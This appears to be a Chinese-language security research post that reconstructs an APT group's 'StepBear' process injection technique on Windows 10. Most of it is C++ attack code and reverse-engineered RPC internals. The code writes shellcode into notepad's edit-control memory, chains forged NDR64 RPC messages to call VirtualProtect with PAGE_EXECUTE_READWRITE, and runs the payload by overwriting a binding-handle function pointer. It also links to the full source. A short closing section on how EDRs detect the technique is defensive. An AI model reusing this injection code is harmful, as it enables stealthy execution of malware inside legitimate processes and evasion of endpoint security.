.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF:
Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const
*)+31B↑o .rdata:00007FFF3A2784E0 ;
Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ...
.rdata:00007FFF3A2784E1 db 1
.rdata:00007FFF3A2784E2 db 1
.rdata:00007FFF3A2784E3 db 2
.rdata:00007FFF3A2784E4 db 2
.rdata:00007FFF3A2784E5 db 4
.rdata:00007FFF3A2784E6 db 4
.rdata:00007FFF3A2784E7 db 8
.rdata:00007FFF3A2784E8 db 8
*/
enum class _Ndr64SimpleTypeBUfferSizeMap {
kChar = 0,
kShort = 2,
kint32 = 4,
kint64 = 6
};
本来我想用simpleref的,但是发现一个问题,cls的地址是readonly的,没办法赋值赋值会报错.所以我们只能走这里
else if ( (_DWORD)v24 == 5 ) // IsBasetype
{
LABEL_24:
v25 = (unsigned __int8 *)((unsigned __int64)(a1->Buffer + 3) & 0xFFFFFFFFFFFFFFFCui64);
a1->Buffer = v25;
if ( v25 + 4 > a1->BufferEnd || v25 + 4 < v25 )
LABEL_70:
RpcRaiseException(1783);
*(_DWORD *)v10 = *(_DWORD *)v25;
a1->Buffer += 4;
}
他这里的逻辑跟XP的是不一样的,简单来说,他如果flag是isbaseTYPE,就会复制四个字节为一个参数。
其实走上面的也可以,不过我都写完了
if ( (v9 & 0x100) != 0 )
{
v27 = **v8; // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L685
v28 = (unsigned __int8 *)(-(__int64)*((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v24) & (__int64)&a1->Buffer[*((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v24) - 1]);
a1->Buffer = v28;
*v10 = v28;
a1->Buffer += *((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v27);
}
我们就这样初始化type:
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
他的赋值是从rpcmessagebuffer赋值的,也是我们可控的。这样我们就完全可控参数的传递了。
第二次NdrServerCallAll
在qax的报告里面说call了第二次NDRserverCallALL,不过没解释为什么
PRPC_MESSAGE_A中DispatchTable的地址还是NdrServerCallAll,至此形成套娃,会第二次进入NdrServerCallAll,此时的参数为PRPC_MESSAGE_B,而PRPC_MESSAGE_B的DispatchTable函数为VirtualProtect,将共享内存块中shellcodeB的内存属性改为可读可写可执行。
因为什么,因为很明显,第二个shellcode是在notepad的编辑框里面,而不是在cls里面.cls的内存属性是readonly的,virtualprotect第四个参数要求可写, 在cls内存里面call virtualprotect一定会失败.此外
在执行servercall完毕后会给readonly的内存赋值,赋值会直接炸.所以不能直接用virtualprotect以及执行shellcode在这个地方。(还没执行shellcode自己就没了)
而第二个shellcode在的位置是编辑框,那里的内存是可写可执行的
此外为什么不能改cls的内存,因为cls的内存是mapped属性,virtualprotect是改不了的
可以看到:
因此就需要第二个shellcode,负责call virtualprotect,然后执行shellcode
第二个shellcode结构体一模一样,只是位置在编辑框里面
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
// 我直接writememory让那个地方看起来像是英文系统
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
PVOID embuf;
SIZE_T numOfWrite;
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
&numOfWrite);
//WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
// sizeof(payload), &numOfWrite);
const auto shellcodeAddress = (uint64_t)embuf + 8;
const auto virtualProtectReturnValue = shellcodeAddress;
const auto editShellcodeLocation = shellcodeAddress + sizeof(uint64_t);
这里通过设置第一个shellcode的参数和地址,就能让第一个shellcode call ndrservercall反序化第二个参数:
const auto virtualProtectParamSize = 8 * 2;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
auto tempCover = (uint64_t)editShellcodeLocation;
memcpy(paramsBuffer, &tempCover, 8);
然后我们第二个shellcode初始化方法跟第一个完全一样,只是需要填参数:
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
// type的指针,这个type会读两次 **typeaddr
auto fnSetNdr64Param = [&]() {
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
};
const auto virtualProtectParamSize = 8 * 4;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
auto tempCover = (uint64_t)shellCodeChangeAddress;
memcpy(paramsBuffer, &tempCover, 8);
tempCover = (uint64_t)sizeof(payload);
memcpy(paramsBuffer + 8, &tempCover, 8);
tempCover = (uint64_t)PAGE_EXECUTE_READWRITE;
memcpy(paramsBuffer + 8 + 8, &tempCover, 8);
memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8);
calcOffset += sizeof(uint64_t);
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_EDIT_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
结果:
执行payload
俄罗斯bro的方法是用Ndr64pFreeParams执行的
因为在执行Ndr64pFreeParams的时候,会call StubDesc0->pfnFree:
这很好,但是太复杂了.因为还有非常多的检查需要处理.其实有个更简单的办法,在我系统上,有个I_RpcGetBufferWithObject:
这个在free之前
经过一些简单判断之后:
会执行
handle + 0x70的位置(这个位置每个系统都不一样)
因此我们只需要,拷贝payload,然后把payload地址设置到handle + 0x70就可以实现shellcode的执行了:
auto payloadAddress = tmpShellcode + calcOffset;
tempCover = REMOTE_EDIT_ADDRESS(payloadAddress);
memcpy(payloadAddress, payload, sizeof(payload));
//I_RpcGetBufferWithObject
//if ( !Message->Handle || *((_DWORD *)Handle + 2) != 0x89ABCDEF || (*((_DWORD *)Handle + 3) & 0x33307C) == 0 )
*(ULONG*)(tmpShellcode + 8) = (ULONG)0x89ABCDEF;
*(ULONG*)(tmpShellcode + 3 * 4) = (ULONG)0x33307C;
// (*(__int64 (__fastcall **)(BINDING_HANDLE *, RPC_MESSAGE *))(*(_QWORD *)Handle + 0x68i64))(Handle, v4);
//这里每个系统都不一样,我的是0x70
*(ULONG_PTR*)(tmpShellcode + 0x70) = (ULONG_PTR)tempCover;
printf("payload address: %p remoteaddress: %p ", payloadAddress, tempCover);
至此,我们成功实现了virtualprotect + shellcode call的操作
这是截图:
0x7 检测与预防
虽然叫EDR梦魇,但是显而易见的,整套系统存在关键的问题: 调用栈出现了两个NdrServerCallAll,shellcode干的任何事情都存在这个调用栈
另外如果EDR有win32k数据源,基本上行为被记录的差不多了.比如这边的戎码翼龙EDR的日志:
产生的告警也能看到是访问了notepad:
还能看到shellcode的执行:
0x8 源码
如果你是想直接使用的,很抱歉,这个源码只能在我的
OS 版本: 10.0.22621 暂缺 Build 22621
使用,因为RPC的偏移每个系统不一样! 具体怎么修改可以看我文章里面的详细复现过程.
https://github.com/huoji120/APT_Step_Bear_Inject
原文始发于微信公众号(冲鸭安全):深度研究APT组织Strom0978的高级注入技术StepBear